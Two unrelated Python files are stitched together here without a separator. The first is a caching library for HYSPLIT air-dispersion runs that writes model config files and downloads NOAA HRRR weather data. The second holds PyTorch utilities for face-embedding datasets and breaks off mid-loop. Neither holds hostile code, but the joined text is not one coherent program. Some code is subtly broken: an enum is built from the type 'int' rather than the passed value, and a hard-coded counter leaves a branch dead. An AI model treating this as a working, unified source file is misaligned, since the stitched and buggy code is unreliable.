"""
This code was taken and edited from the following path on hal21 server (on Oct 26, 2020):
    /projects/earthtime/files/air-src/linRegModel/cachedHysplitRunLib.ipynb
"""

import sys, datetime, dateutil, enum, hashlib, io, os, threading, traceback, glob, gzip, shutil, subprocess
from jinja2 import Template
from filelock import FileLock
from utils import SimpleThreadPoolExecutor, download_file, subprocess_check
import pandas as pd
import numpy as np

def parse_eastern(date):
    easternTZ = dateutil.tz.gettz('America/New_York')
    return dateutil.parser.parse(date).replace(tzinfo=easternTZ)

class InitdModelType(enum.Enum):
    """
    The menu is divided into two sections.
    In each case the value of the INITD namelist parameter is being set.
    In the upper portion of the menu,
    ...the model is configured as either a full 3D particle or puff model,
    ...or some hybrid combination of the two.
    The released particles or puffs maintain their mode for the entire duration of the simulation.
    Valid options are:
        0 - 3D particle horizontal and vertical (DEFAULT)
        1 - Gaussian-horizontal and Top-Hat vertical puff (Gh-THv)
        2 - Top-Hat-horizontal and vertical puff (THh-THv)
        3 - Gaussian-horizontal puff and vertical particle distribution (Gh-Pv)
        4 - Top-Hat-horizontal puff and vertical particle distribution (THh-Pv)
    Introduced with the September 2004 version are mixed mode model calculations,
    ...where the mode can change during transport depending upon the age (from release) of the particle.
    A mixed-mode may be selected to take advantage of the more accurate representation of
    ...the 3D particle approach near the source and the smoother horizontal distribution
    ...provided by one of the hybrid puff approaches at the longer transport distances.
    In a long-range or regional puff simulation,
    ...where the concentration grid may be rather coarse,
    ...puffs may pass between concentration sampling nodes during the initial stages of the transport,
    ...a stage when the plume is still narrow.
    Using mode #104 would start the simulation with particles (and concentration grid cells)
    ...and then switch to puff mode (and concentration sampling nodes)
    ...when the particles are distributed over multiple concentration grid cells.
    Valid options are:
        103 - 3D particle (#0) converts to Gh-Pv (#3)
        104 - 3D particle (#0) converts to THh-Pv (#4)
        130 - Gh-Pv (#3) converts to 3D particle (#0)
        140 - THh-Pv (#4) converts to 3D particle (#0)
        109 - 3D particle converts to grid (global model)
    Hysplit online defaults to mode 104 (auto-switch from 0 to 4)
    Hysplit manual says default is 0
    """
    ParticleHV = 0
    GaussianH_TopHapV = 1
    TopHatHV = 2
    GaussianH_ParticleV = 3
    TopHatH_ParticleV = 4
    ParticleHV_to_GaussianH_ParticleV = 103
    ParticleHV_to_TopHatH_ParticleV = 104
    GaussianH_ParticleV_to_ParticleHV = 130
    TopHatH_ParticleV_to_ParticleHV = 140
    ParticleHV_to_Grid = 109

class HysplitModelSettings:
    def __init__(self,
                 initdModelType=InitdModelType.ParticleHV,
                 hourlyPardump=False):
        if isinstance(initdModelType, int):
            print(
                'Consider using InitdModelType enum for HysplitModelSettings')
            initdModelType = InitdModelType(int)
        self.initdModelType = initdModelType
        self.hourlyPardump = hourlyPardump

    def __str__(self):
        ret = '<HMS'
        ret += ' initd=%d' % self.initdModelType.value
        if self.hourlyPardump:
            pardumpMins = 60
        else:
            pardumpMins = 1
        ret += ' pardump=%dm' % pardumpMins
        ret += '>'
        return ret

class DispersionSource:
    # minHeight and maxHeight are in meters
    # area is in square meters
    def __init__(self, name, lat, lon, minHeight, maxHeight, areaSqM=0):
        assert(isinstance(name, str))
        self.name = name

        assert(-90 <= lat and lat <= 90)
        self.lat = round(lat, 6)

        assert(-180 <= lon and lon <= 180)
        self.lon = round(lon, 6)

        assert(0 <= minHeight and minHeight <= maxHeight)
        self.minHeight = minHeight

        assert(maxHeight <= 1000)
        self.maxHeight = maxHeight

        assert(areaSqM >= 0)
        self.areaSqM = areaSqM

    def cachePath(self):
        path = '%.6f,%.6f_%g-%g' % (self.lat, self.lon, self.minHeight, self.maxHeight)
        if self.areaSqM > 0:
            path += '_%g' % self.areaSqM
        return path

    def __repr__(self):
        return self.name

assert(DispersionSource(name='Test', lat=40.123456789, lon=-79.123456789,
    minHeight=10, maxHeight=50).cachePath() == '40.123457,-79.123457_10-50')
assert(DispersionSource(name='Test', lat=40.123456789, lon=-79.123456789,
    minHeight=10, maxHeight=50, areaSqM=100).cachePath() == '40.123457,-79.123457_10-50_100')

class CachedDispersionRun:
    """
    Input:
        source -- DispersionSource representing lat/lon and altitude min/max of emission source
        runStartLocal -- beginning of emission, in local timezone
        emitTime -- length of emission, in hours
        runTime -- length of simulation, in hours
        fileName -- file name of binary results file
        hysplit_root -- the root directory of the hysplit software
    """
    def __init__(self, source, runStartLocal, emitTimeHrs, runTimeHrs, hysplitModelSettings,
                 fileName='cdump', hysplit_root='/projects/hysplit.v5.1.0/', verbose=False,
                 dispersionCachePath='/projects/earthtime/air-src/linRegModel/dispersionCache',
                 hrrrDirPath='/projects/earthtime/air-data/hrrr',
                 useForecast=False):
        try:
            self.dispersionCachePath = dispersionCachePath
            self.hrrrDirPath = hrrrDirPath
            self.hysplit_root = hysplit_root

            assert(source)
            self.source = source

            assert(runStartLocal)
            self.runStartLocal = runStartLocal
            self.runStartUtc = runStartLocal.astimezone(dateutil.tz.tzutc())

            msg = 'CachedDispersionRun start=%s' % self.runStartLocal
            if self.runStartLocal.tzinfo != self.runStartUtc.tzinfo:
                msg += ' (%s)' % (self.runStartUtc)

            msg += ' emitTime=%dh runTime=%dh initdModelType=%s source=%s' % (
                    emitTimeHrs, runTimeHrs, repr(hysplitModelSettings.initdModelType), source)

            assert(emitTimeHrs)
            self.emitTimeHrs = emitTimeHrs

            assert(runTimeHrs)
            self.runTimeHrs = int(runTimeHrs)

            self.initdModelType = hysplitModelSettings.initdModelType

            self.verbose= verbose
            if self.verbose:
                sys.stdout.write(msg + '\n')

            self.logfile = None

            self.hourlyPardump = hysplitModelSettings.hourlyPardump

            if not os.path.exists(self.path()) and self.hourlyPardump:
                self.hourlyPardump = False
                if os.path.exists(self.path()):
                    if self.verbose:
                        sys.stdout.write('CachedDispersionRun -- found minutely pardump version, overriding hourlyPardump to be False\n')
                else:
                    self.hourlyPardump = True
        except AssertionError:
            _, _, tb = sys.exc_info()
            traceback.print_tb(tb) # Fixed format
            tb_info = traceback.extract_tb(tb)
            filename, line, func, text = tb_info[-1]

            print('An error occurred on line {} in statement {}'.format(line, text))
            exit(1)

        self.fileName = fileName
        self.hysplitLoc = hysplit_root + "exec/"
        self.runHr = int(runTimeHrs)
        self.runMin = int((runTimeHrs - int(runTimeHrs))*60)

        if useForecast:
            self.log('Using forecast met files...')
            self.fNames = self.fetchForecastFiles()
        else:
            self.log('Using reanalysis met files...')
            self.fNames = self.fetchWeatherFiles()

    def assertComplete(self):
        """Assert this run has all files associated with successful completion, e.g. cdump"""
        errs = []
        if not os.path.exists(self.cdumpPath()):
            errs.append('cdump file %s should exist, but does not' % self.cdumpPath())
        if errs:
            raise Exception('Errors found in HYSPLIT directory %s: %s' % (self.path(), '; '.join(errs)))

    def findOrRun(self):
        if not os.path.exists(self.path()):
            self.run()
            self.assertComplete()
        else:
            self.vlog('Hysplit run at location %s already complete.' % self.path())
            self.assertComplete()
        return(self.path())

    def run(self):
        """
        Called internally.
        Make sure we aren't already completed or in progress somewhere else before calling this method?
        """
        # Short circuit if already done
        if os.path.exists(self.path()):
            return(self.path())

        # Create parent directory of lock
        # If two threads run concurrently, allow this call to fail silently
        os.makedirs(os.path.dirname(self.path()),exist_ok=True)

        # Create and hold lockfile
        lockfilePath = self.path() + '.lock'
        lock = FileLock(lockfilePath)
        with lock:
            # Delete old temp directory if it exists (need to delete tmpPaths with different pids)
            if os.path.exists(self.tmpPath()):
                self.log('Deleting old temp directory %s' % self.tmpPath())
                shutil.rmtree(self.tmpPath())
            # Short circuit if this is the second process to acquire the FileLock, and thus the run is complete
            if os.path.exists(os.path.join(self.path(),'cdump')):
                return(self.path())

            os.makedirs(self.tmpPath())
            self.logfile = open(self.tmpPath() + '/log.txt', 'w')
            self.makeSetup()
            self.makeASC()
            self.makeControl()
            self.vlog('Running dispersion, path %s, settings %s' % (self.tmpPath(), self.settingsAsString()))
            try:
                # TODO: have the HYSPLIT subprocess chdir instead of the python parent
                self.runDispersion()
                self.vlog('SUCCESS for dispersion run: %s' % self.tmpPath())
            except Exception as e:
                self.log('Received exception %s during DispersionRun' % e)
                self.log('Run directory: %s' % self.tmpPath())
                self.log('Settings: %s' % self.settingsAsString())
                raise
            try:
                os.rename(self.tmpPath(), self.path())
                self.vlog('Successful rename from %s to %s' % (self.tmpPath(),self.path()))
            except Exception as e:
                self.log('Received exception %s during rename' % e)
                self.log('Run directory: %s' % self.tmpPath())
                self.log('Settings: %s' % self.settingsAsString())
                raise
        for fname in self.fNames:
            if os.path.exists(fname + '.gz') and os.path.exists(fname):
                os.remove(fname)
        self.assertComplete()

    def log(self, *args, include_stdout=True):
        prefix = '%s %s' % (os.getpid(), threading.get_ident())
        buf = io.StringIO()
        print(prefix, *args, file=buf)
        if include_stdout:
            sys.stdout.write(buf.getvalue())
            sys.stdout.flush()
        if self.logfile:
            self.logfile.write(buf.getvalue())
            self.logfile.flush()

    def vlog(self, *args):
        """Log only to stdout if in verbose mode"""
        self.log(*args, include_stdout=self.verbose)

    def runDispersion(self):
        hyString = self.hysplitLoc + 'hycs_std'
        #out = subprocess.run(hyString, shell=True)
        subprocess_check(hyString, cwd=self.tmpPath(), verbose=True)

    def getUncompressedPardump(self):
        """Get the path to the uncompressed PARDUMP file"""
        # Old archived pardumps should be gzipped. ensure that unzipped pardump is available in folder
        # This looks like it might be wrong. Randy, Yen-Chia 2020-08-24
        pdumps = glob.glob(self.path() + '/PARDUMP.*')
        zipdump = glob.glob(self.path() + '/PARDUMP.*.gz')
        if zipdump:
            if zipdump[0][:-3] not in pdumps:
                with gzip.open(zipdump[0], 'rb') as f_in:
                    with open(zipdump[0][:-3], 'wb') as f_out:
                        shutil.copyfileobj(f_in, f_out)
            return zipdump[0][:-3]
        else:
            return pdumps[0]

    def settingsAsString(self):
        ret = '{'
        ret += ','.join(['sourceLoc:[%.6f,%.6f]' % (self.source.lat, self.source.lon),
                         'sourceHeight:[%g,%g]' % (self.source.minHeight, self.source.maxHeight),
                         'runStartLocal:"%s"' % self.runStartLocal,
                         'emitTimeHrs:%g' % self.emitTimeHrs,
                         'runTimeHrs:%g' % self.runTimeHrs,
                         'initdModelType:%s' % repr(self.initdModelType)])
        ret += '}'
        return ret

    def tmpPath(self):
        """Compute temp path unique to this instance of Python, based on PID and thread ID"""
        return '%s_%d_%d.tmp' % (self.path(), os.getpid(), threading.get_ident())

    def localPath(self):
        """Compute cache pathname relative to dispersionCachePath parent"""
        ret = os.path.join(self.source.cachePath(), '%s_%gh_%gh_%g' % (self.runStartLocal.strftime('%Y%m%d_%H%M%S%z'), self.emitTimeHrs, self.runTimeHrs, self.initdModelType.value))
        if self.hourlyPardump:
            # Minutely (P1) pardump is assumed if this field doesn't exists, for backwards compatibility
            ret += '_P60'
        return ret

    def path(self):
        """Compute cache pathname"""
        return os.path.join(self.dispersionCachePath, self.localPath())

    def shortPath(self):
        """
        Some hysplit commands can't cope with long filenames
        Symlink a hashed version of the path in /tmp
        """
        fullPath = self.path()
        linkPath = '/tmp/' + hashlib.sha224(fullPath.encode()).hexdigest()
        if not os.path.exists(linkPath):
            os.symlink(fullPath, linkPath)
        return linkPath

    def settingsPath(self):
        """
        Possibly old code, only used for recognizing multiple runs for visualization
        Don't bother appending '_Pn' since we only run old visualizations
        ...on directories that have full minute-scale pardump
        """
        print('TODO: consider changing visualization code to no longer use settingsPath, and then delete this member fn')
        return os.path.join(self.dispersionCachePath,
            '*/%s*_%gh_*_%g' % (self.runStartLocal.strftime('%Y%m%d'), self.emitTimeHrs, self.initdModelType.value))

    def cdumpPath(self):
        return self.path() + '/cdump'

    def shortCdumpPath(self):
        return self.shortPath() + '/cdump'

    def createConcPlot(self, outputPath, frameno=None, verbose=False):
        """
        outputPath can end in .ps or .png
        frameno is 1 for the first frame, add one for each 15 minutes as we currently run hysplit
        """
        hysplitPath = '/projects/hysplit'
        outputSuffix = os.path.splitext(outputPath)[1]
        convertCmds = []
        if outputSuffix.lower() == '.ps':
            psPath = outputPath
        elif outputSuffix.lower() == '.png':
            psPath = '/tmp/psconvert-%d-%d.ps' % (os.getpid(), threading.get_ident())
            # Compute temp path unique to this instance of Python, based on PID and thread ID
            convertCmds.append([
                    'gmt',
                    'psconvert',
                    '-A',
                    psPath,
                    '-Tg', # PNG format
                    '-F%s' % outputPath
            ])
            # Trim whitespace
            convertCmds.append(['mogrify', '-trim', outputPath])
        cmd = [
            '%s/exec/concplot' % hysplitPath,
            '-i%s' % self.shortCdumpPath(),
            '-o%s' % psPath,
            '-j%s/graphics/arlmap' % hysplitPath
            ]
        fixedConcentrations = True
        if fixedConcentrations:
            # Fix concentration contours in powers of ten from 1e-9 ... 1e-14
            cmd += ['-c4', '-v1E-9+1E-10+1E-11+1E-12+1E-13+1E-14']
        if frameno != None:
            cmd.append('-n%d:%d' % (frameno, frameno))

        subprocess_check(cmd, verbose=verbose)
        for convertCmd in convertCmds:
            subprocess_check(convertCmd, verbose=verbose)
        if len(convertCmds):
            os.unlink(psPath)

    def fetchWeatherFiles(self):
        hrrrDir = os.path.abspath(self.hrrrDirPath)
        fNames = []
        # Date when NOAA archive format changed
        isReformat = self.runStartUtc > datetime.datetime(2019,7,22,0,0,0,0,dateutil.tz.tzutc())
        for dt in self.computeTimes():
            name = dt.strftime('hysplit.%Y%m%d.%Hz.hrrra')
            fullPath = hrrrDir + '/' + name
            if not os.path.exists(fullPath):
                if os.path.exists(fullPath + '.gz'):
                    with gzip.open(fullPath + '.gz', 'rb') as f_in:
                        tmpPath = f'{fullPath}_{os.getpid()}_{threading.get_ident()}.tmp'
                        with open(tmpPath, 'wb') as f_out:
                            try:
                                self.log("Unzipping " + fullPath)
                                shutil.copyfileobj(f_in, f_out)
                            except EOFError:
                                self.log("Unzip failed, redownloading " + fullPath)
                                os.remove(fullPath + '.gz')
                                os.remove(tmpPath)
                        os.rename(tmpPath,fullPath)
                if isReformat:
                    linkEnd = dt.strftime('%Y%m%d_%H-') + str(dt.hour + 5).zfill(2) + '_hrrr'
                    fileDownloaded = download_file('https://storage.googleapis.com/high-resolution-rapid-refresh/noaa_arl_formatted/' + linkEnd, fullPath)
                    if not fileDownloaded:
                        self.log('File not found in the Google Cloud Platform HRRR archive. Trying ARL FTP server... ')
                        download_file('ftp://arlftp.arlhq.noaa.gov/pub/archives/hrrr/' + linkEnd, fullPath)
                else:
                    download_file('ftp://arlftp.arlhq.noaa.gov/pub/archives/hrrr.v1/' + name, fullPath)
            fNames.append(fullPath)
        return fNames

    def fetchForecastFiles(self):
        #no download for now
        hrrrDir = os.path.abspath(self.hrrrDirPath)
        fNames = []
        # for dt in self.computeTimes(FORECAST_FILE_LENGTH_HRS):
        #     #name = dt.strftime('hysplit.t20z.hrrrf')
        #     name = dt.strftime('hysplit.t%Hz.hrrrf')
        #     #dayDir = (self.runStartUtc - datetime.timedelta(hours=(24 - self.runTimeHrs))).strftime('%Y-%m-%d')
        #     #dayDir = self.runStartUtc.strftime('%Y-%m-%d')
        #     #dayDir = '2021-04-06'
        #     dayDir = dt.strftime('%Y-%m-%d')
        #     fullPath = hrrrDir + '/' + dayDir + '/'+ name
        #     if not os.path.exists(fullPath):
        #         self.log('!!!!!!!!!!!!!!!!Could not find HRRR file for time: ' + name)
        #     fNames.append(fullPath)
        #     print("Calculated download link: https://storage.googleapis.com/high-resolution-rapid-refresh/noaa_arl_formatted/forecast/%s/%s" % (dayDir, name) )
        fNames = [hrrrDir + '/2021-08-06/hysplit.t22z.hrrrf', hrrrDir + '/2021-08-07/hysplit.t10z.hrrrf']
        self.log("WARNING: Using hard-coded fNames: %s" % fNames)
        return fNames

    def computeTimes(self):
        dtimes = []
        t = self.runStartUtc
        cutoffTime = datetime.datetime.fromtimestamp(int((self.runStartUtc + datetime.timedelta(hours=(self.runTimeHrs+6))).timestamp()/(6*3600))*(6*3600), dateutil.tz.tzutc())
        while(t < cutoffTime):
            dtimes.append(datetime.datetime.fromtimestamp(int(t.timestamp() / (6*3600)) * (6*3600), dateutil.tz.tzutc()))
            t = t + datetime.timedelta(hours = 6)
        return dtimes

    def makeSetup(self):
        """See hysplit users guide section "Particle File Output Options" for ndump and ncycl"""
        if self.hourlyPardump:
            # dump after every 1 hour, cycling every 1 hour because ncycl = 1
            ndump = 1
        else:
            # dump every 1 minute until entire run is done
            ndump = -self.runTimeHrs

        templ = Template(
            """&SETUP
{#          #}NUMPAR = 2500,
{#          #}MAXPAR = 25000,
{#          #}INITD ={{run.initdModelType.value}},
{#          #}CONAGE = 1,
{#          #}KSPL = 1,
{#          #}ICHEM = 8,
{#          #}ndump = {{ndump}},
{#          #}ncycl = 1,
{#          #}delt = 1,
{#          #}poutf = 'PARDUMP.h{{run.runStartLocal.hour}}',
{#          #}/\n""", keep_trailing_newline=1)
        content = templ.render(run=self, ndump=ndump)
        cFile = open(self.tmpPath() + '/SETUP.CFG', 'w')
        cFile.write(content)
        cFile.close()

    def makeASC(self):
        templ = Template(
            """-90.0   -180.0  lat/lon of lower left corner
{#          #}1.0     1.0     lat/lon spacing in degrees
{#          #}180     360     lat/lon number of data points
{#          #}2               default land use category
{#          #}0.2             default roughness length (m)
{#          #}'"""+self.hysplit_root+"""bdyfiles/'  directory of files""")
        cFile = open(self.tmpPath() + '/ASCDATA.CFG','w')
        cFile.write(templ.render(run=self))
        cFile.close()

    def makeControl(self):
        templ = Template(
            """{{ run.runStartUtc.strftime('%y %m %d %H %M') }} #1: run start time in YY MM DD HH MN (UTC)
{#          #}2 #2: NUMBER OF SOURCE LOCATIONS
{#          #}{% for height in (run.source.minHeight, run.source.maxHeight) -%}
{#          #}{{ run.source.lat }} {{ run.source.lon }} {{ height }} 1 {{ run.source.areaSqM }} #3: SOURCE LATITUDE | LONGITUDE | HEIGHT(m-agl) | EMISSION RATE (per hour) | AREA (sq m)
{#          #}{%- endfor -%}
{#          #}{{ run.runTimeHrs }} #4: TOTAL RUN TIME (hours)
{#          #}0 #5: VERTICAL MOTION (USE MODEL VERTICAL VELOCITY)
{#          #}10000 #6: TOP OF MODEL DOMAIN (m-AGL)
{#          #}{{ len(run.fNames) }} #7: NUMBER OF INPUT DATA GRIDS
{#          #}{% for file in run.fNames -%}
{#          #}{{ os.path.dirname(file) }}/
{#          #}{{ os.path.basename(file) }}
{#          #}{%- endfor -%}
{#          #}1 #10: NUMBER OF DIFFERENT POLLUTANTS
{#          #}TEST #11: POLLUTANT IDENTIFICATION
{#          #}1 #12: EMISSION RATE (per hour)
{#          #}{{run.emitTimeHrs}} #13: HOURS OF EMISSION
{#          #}{{run.runStartUtc.strftime('%y %m %d %H %M')}} #14: EMISSION START TIME: YY mm dd HH MM
{#          #}1 #15: NUMBER OF CONCENTRATION GRIDS
{#          #}0 0 #16: CONC GRID CENTER (LATITUDE LONGITUDE); DEFAULT SOURCE LOC
{#          #}0.003 0.003 #17: CONC GRID SPACING (degrees) LATITUDE LONGITUDE
{#          #}1 1 #18: CONC GRID SPAN (degrees) LATITUDE LONGITUDE
{#          #}./
{#          #}{{run.fileName}}
{#          #}1 #21: NUMBER OF VERTICAL CONCENTRATION LEVELS
{#          #}100 #22: HEIGHT OF EACH CONCENTRATION LEVEL (m-agl)
{#          #}{{run.runStartUtc.strftime('%y %m %d %H %M')}} #23: SAMPLING START TIME:YEAR MONTH DAY HOUR MINUTE
{#          #}00 00 00 {{run.runHr}} {{run.runMin}} #24: SAMPLING STOP TIME:YEAR MONTH DAY HOUR MINUTE
{#          #}0 0 15 #25: SAMPLING INTERVAL: TYPE (AVERAGING) HOUR MINUTE
{#          #}0 #26: NUMBER OF DEPOSITING POLLUTANTS
{#          #}0.0 0.0 0.0 #27: PARTICLE:DIAMETER (um), DENSITY (g/cc), SHAPE
{#          #}0.0 0.0 0.0 0.0 0.0 #28: ATTRIBUTES, ZERO (NO DEPOSITING)
{#          #}0.0 0.0 0.0 #29: WET REMOVAL, ZERO (NO DEPOSITING)
{#          #}0 #30: RADIOACTIVE DECAY HALF-LIFE (days)
{#          #}0.0 #31: POLLUTANT RESUSPENSION""")
        cFile = open(self.tmpPath() + '/CONTROL', 'w')
        cFile.write(templ.render(run=self, os=os, len=len))
        cFile.close()

    def saveToText(self, name):
        """
        -s: Single file output
        -c: output all information from binary (does not work with -s set)
        -m: if -s isn't set, removes column headers from output file
        -t: if -s and -c aren't set, includes minutes in file name
        -v: order lon/lat
        -x: Extended precision
        -z: Include zeros
        """
        hyString = self.hysplitLoc + ('con2asc -i%s -s -t -v -x -z' %name)
        subprocess.run(hyString, cwd=(self.tmpPath()), shell=True)

    def interpolate(self, cdumpFile, outputFile, stationFile):
        #subprocess_check('ls -l %s %s' % (cdumpFile, stationFile), verbose=True)
        #subprocess_check('cat %s' % stationFile, verbose=True)
        hyString = self.hysplitLoc + ('con2stn -i%s -o%s -s%s' %(cdumpFile, outputFile, stationFile))
        #print(hyString)
        subprocess_check(hyString, cwd=(self.path()))
        #print('done interpolation')

    def readInterpFile(self,inFile,sensors):
        """
        Reads in result of hysplit interpolation
        Simplifies into single average timestamp and returns DataFrame
        Input:
            inFile -- path and filename of hysplit interpolation results
        Output:
            interpDat -- DataFrame with index = timestamps, columns = sensor IDs
        """
        #print('readInterFile reading from %s' % inFile)
        #subprocess_check('wc %s' % inFile, verbose=True)
        fIn = pd.read_csv(inFile, header=0, delimiter='\s+')

        timestamps = []

        for ii in np.arange(fIn.shape[0]):
            t1 = datetime.datetime(2000 + fIn['YR'][ii], fIn['MO'][ii], fIn['DA1'][ii], fIn['HR1'][ii], fIn['MN1'][ii], tzinfo=datetime.timezone.utc)
            t2 = datetime.datetime(2000 + fIn['YR'][ii], fIn['MO'][ii], fIn['DA2'][ii], fIn['HR2'][ii], fIn['MN2'][ii], tzinfo=datetime.timezone.utc)
            # Convert timestamp to nanoseconds so it can be converted to pandas datetime64 object
            timestamps.append((t1 + (t2 - t1)/2).timestamp() * 1e9)

        interpDat = pd.DataFrame(data=fIn.iloc[:,9:])
        interpDat.index = pd.to_datetime(timestamps, utc=True).tz_convert(self.runStartLocal.tzinfo)

        sensorIDdict = {str(sensor.id()): sensor for sensor in sensors}
        interpDat = interpDat.rename(columns=sensorIDdict)

        return interpDat

def getDispersionRun(source,runStartLocal,emitTimeHrs,runTimeHrs,hysplitModelSettings,verbose=False,
        dispersionCachePath='/projects/earthtime/air-src/linRegModel/dispersionCache',
        hrrrDirPath='/projects/earthtime/air-data/hrrr'):
    run = CachedDispersionRun(
            source=source,
            runStartLocal=runStartLocal,
            emitTimeHrs=emitTimeHrs,
            runTimeHrs=runTimeHrs,
            hysplitModelSettings=hysplitModelSettings,
            dispersionCachePath=dispersionCachePath,
            hrrrDirPath=hrrrDirPath,
            verbose=verbose
    )
    run.findOrRun()
    run.assertComplete()
    return run

def getMultiHourDispersionRunsParallel(source,runStartLocal,emitTimeHrs,totalRunTimeHrs,
        hysplitModelSettings,backwardsHrs=0,resolutionHrs=1,
        dispersionCachePath='/projects/earthtime/air-src/linRegModel/dispersionStiltCache',
        hrrrDirPath='/projects/earthtime/air-data/hrrr',useForecast=False):
    # TODO: Change to only return
    # Only used for visualization (currently)
    # Use threading to produce collection of DispersionRuns over several hours for the same source
    # TODO: Check if resolutionHrs param is redundant with emitTimeHrs (check old linRegLib method). Not urgent as long as both are always 1

    if useForecast:
        hrrrDirPath = '/projects/earthtime/air-data/hrrr-forecast'
        dispersionCachePath='/projects/earthtime/air-src/linRegModel/dispersionStiltForecastCache'

    hysplitStartLocal = runStartLocal - datetime.timedelta(hours=backwardsHrs)
    hysplitRunTimeHrs = totalRunTimeHrs + backwardsHrs

    hours = list(dateutil.rrule.rrule(dateutil.rrule.HOURLY, interval=resolutionHrs, dtstart=hysplitStartLocal, until=runStartLocal + datetime.timedelta(hours=totalRunTimeHrs-1)))

    # TODO: switch to process pool?
    maxThreads = 30
    pool = SimpleThreadPoolExecutor(maxThreads)
    for i,hour in enumerate(hours):
        run = CachedDispersionRun(
            source=source,
            runStartLocal=hour,
            emitTimeHrs=emitTimeHrs,
            runTimeHrs=min(hysplitRunTimeHrs-(i*resolutionHrs),24),
            hysplitModelSettings=hysplitModelSettings,
            dispersionCachePath=dispersionCachePath,
            hrrrDirPath=hrrrDirPath,
            useForecast=useForecast
            )
        pool.submit(run.findOrRun)
    pathList = pool.shutdown()
    return pathList


import math
import os
import random

import copy
import torch
import pickle
from torch import Tensor
from typing import Tuple, Iterator
from contextlib import contextmanager
from torch.utils.data import Dataset, IterableDataset
import pandas as pd

def GetStartingIndices(full_dataset):
    os.makedirs('./starting_indices', exist_ok=True)
    pkl_file = './starting_indices/index.pkl'
    if os.path.isfile(pkl_file):
        with open(pkl_file, 'rb') as fid:
            index = pickle.load(fid)
        return index

    dl = torch.utils.data.DataLoader(full_dataset, 1, shuffle=False, drop_last=False)
    last_y = -1
    indices = []
    for i, batch in enumerate(dl):
        _, _, y = batch
        y= y.item()
        if y != last_y:
            print("Added index for label "+str(y))
            indices += [i]
        last_y = y

    index = torch.tensor(indices)
    with open(pkl_file, 'wb') as file:
        pickle.dump(index , file)

    return index

def SplitDataset(full_dataset, n_labels, ratios=[]):
    index = GetStartingIndices(full_dataset)
    sets = []
    new_ratios = [0]+ratios
    index_offset = 0
    current_ratio = 1 - sum(new_ratios)
    for i in range(0, len(new_ratios)):
        current_ratio += new_ratios[i]
        last_label = int(n_labels * current_ratio - 1)
        last_image_index = index[last_label+1].item()-1

        set = copy.deepcopy(full_dataset)
        set.n_records = last_image_index-index_offset+1
        set.ds1.index_offset = index_offset
        set.ds2.index_offset = index_offset
        sets += [set]
        index_offset = last_image_index+1
    return sets

def CreateNNLabels(dataset, dataset_name,force_run = False):
    os.makedirs('./nn_spaces', exist_ok=True)
    pkl_nn_space_file = './nn_spaces/nn_space_' + dataset_name + '.pkl'
    if os.path.isfile(pkl_nn_space_file) and not force_run:
        with open(pkl_nn_space_file, 'rb') as fid:
            nn_space_dict = pickle.load(fid)
        return nn_space_dict

    print("Creating NN full space for: ", dataset_name)

    dl = torch.utils.data.DataLoader(dataset, 1, shuffle=False, drop_last=False)
    embedding_space = []
    labels = []
    for i, batch in enumerate(dl):
        _, X2, y = batch
        y = y.item()

        embedding_space += [X2]
        labels += [y]

    print("Dumping embedding space")
    embedding_dict = {'features': torch.stack(embedding_space).squeeze(),
                      'labels': torch.tensor(labels)}
    with open(pkl_nn_space_file, 'wb') as file:
        pickle.dump(embedding_dict, file)
    return embedding_dict

def CreateMeanLabels(dataset, dataset_name, force_create=False):
    os.makedirs('./nn_spaces', exist_ok=True)
    pkl_nn_space_file = './nn_spaces/nn_space_' + dataset_name + '.pkl'
    if os.path.isfile(pkl_nn_space_file) and not force_create:
        with open(pkl_nn_space_file, 'rb') as fid:
            nn_space_dict = pickle.load(fid)
        return nn_space_dict

    print("Creating NN space for: ",dataset_name)
    index = GetStartingIndices(dataset)
    dl = torch.utils.data.DataLoader(dataset, 1, shuffle=False, drop_last=False)
    current_label_features = []
    embedding_space = []
    labels = []
    last_y = None

    for i, batch in enumerate(dl):
        _, X2, y = batch
        y = y.item()
        if last_y is None:
            last_y = y
        if y != last_y:
            print("Processed Label: ", last_y)
            mean_feature = torch.stack(current_label_features).squeeze()
            if len(mean_feature.shape) > 1:
                mean_feature = mean_feature.mean(dim=0)

            embedding_space += [mean_feature]
            labels += [last_y]
            current_label_features = []
            last_y = y

        current_label_features += [X2]

    print("Processed Label: ", last_y)
    mean_feature = torch.stack(current_label_features).squeeze()
    if len(mean_feature.shape) > 1:
        mean_feature = mean_feature.mean(dim=0)

    embedding_space += [mean_feature]
    labels += [last_y]

    print("Dumping embedding space")
    embedding_dict = {'features': torch.stack(embedding_space).squeeze(),
                      'labels': torch.tensor(labels)}
    with open(pkl_nn_space_file, 'wb') as file:
        pickle.dump(embedding_dict , file)
    return embedding_dict

def GetLabelVectors(label, index, lengths, full_dataset):
    i_label_start = index[label].item()
    i_label_stop = i_label_start + lengths[label].item()
    x1_vectors, x2_vectors = [], []
    for i in range(i_label_start, i_label_stop):
        x1, x2, y = full_dataset[i]
        assert y == label
        x1_vectors += [x1]
        x2_vectors += [x2]

    x1 = torch.stack(x1_vectors)
    x2 = torch.stack(x2_vectors)
    return x1,x2

def InterpolateDatasetRandom(dataset, full_dataset, min_interp_num=20, max_interp_num=30,interpolated_div = 2):
    set = copy.deepcopy(dataset)
    set_interpolated_data = copy.deepcopy(dataset)
    index = GetStartingIndices(full_dataset)
    _,_,label_first = set[0]
    _, _, label_last = set[len(set)-1]
    index = index[label_first:label_last+1]
    indices_shift = torch.hstack([index[1:] , torch.tensor(len(set))])
    lengths = indices_shift - index
    [sorted, idx_sorted] = torch.sort(lengths, descending=True)

    current_label = max(set.classes) + 1

    pkl_batch_size =  set.ds1.dataset_batch_size
    n_images = len(full_dataset)
    pkl_file_i = n_images // pkl_batch_size
    max_idx_offset = len(full_dataset) - len(set)
    max_idx = len(set) - 1
    interpolated_cnt = 959872
    if interpolated_cnt==0:
        paths = ['./Insight/insightface/recognition/arcface_torch/r18_features',
                 './Insight/insightface/recognition/arcface_torch/r50_features']

        # ds_features_r18 = [[], []]
        # ds_features_r50 = [[], []]
        ds_features_r18_interpolated = torch.empty(size=(0, 512))
        ds_features_r50_interpolated = torch.empty(size=(0, 512))
        ds_interpolated_lists = [ds_features_r18_interpolated, ds_features_r50_interpolated]

        label_list = []

        # ds_features_list = [ds_features_r18, ds_features_r50]
        # first_even_id = False
        #for i, batch in enumerate(dl):
        for [[prev_num_vectors, prev_label] , [num_vectors, label]]  in zip(zip(sorted, idx_sorted) ,zip(sorted[1:], idx_sorted[1:]) ):
            X1_prev, X2_prev = GetLabelVectors(prev_label, index, lengths, full_dataset)
            X1,X2 = GetLabelVectors(label,index,lengths,full_dataset)
            ds_features_r18 = [X1_prev,X1]
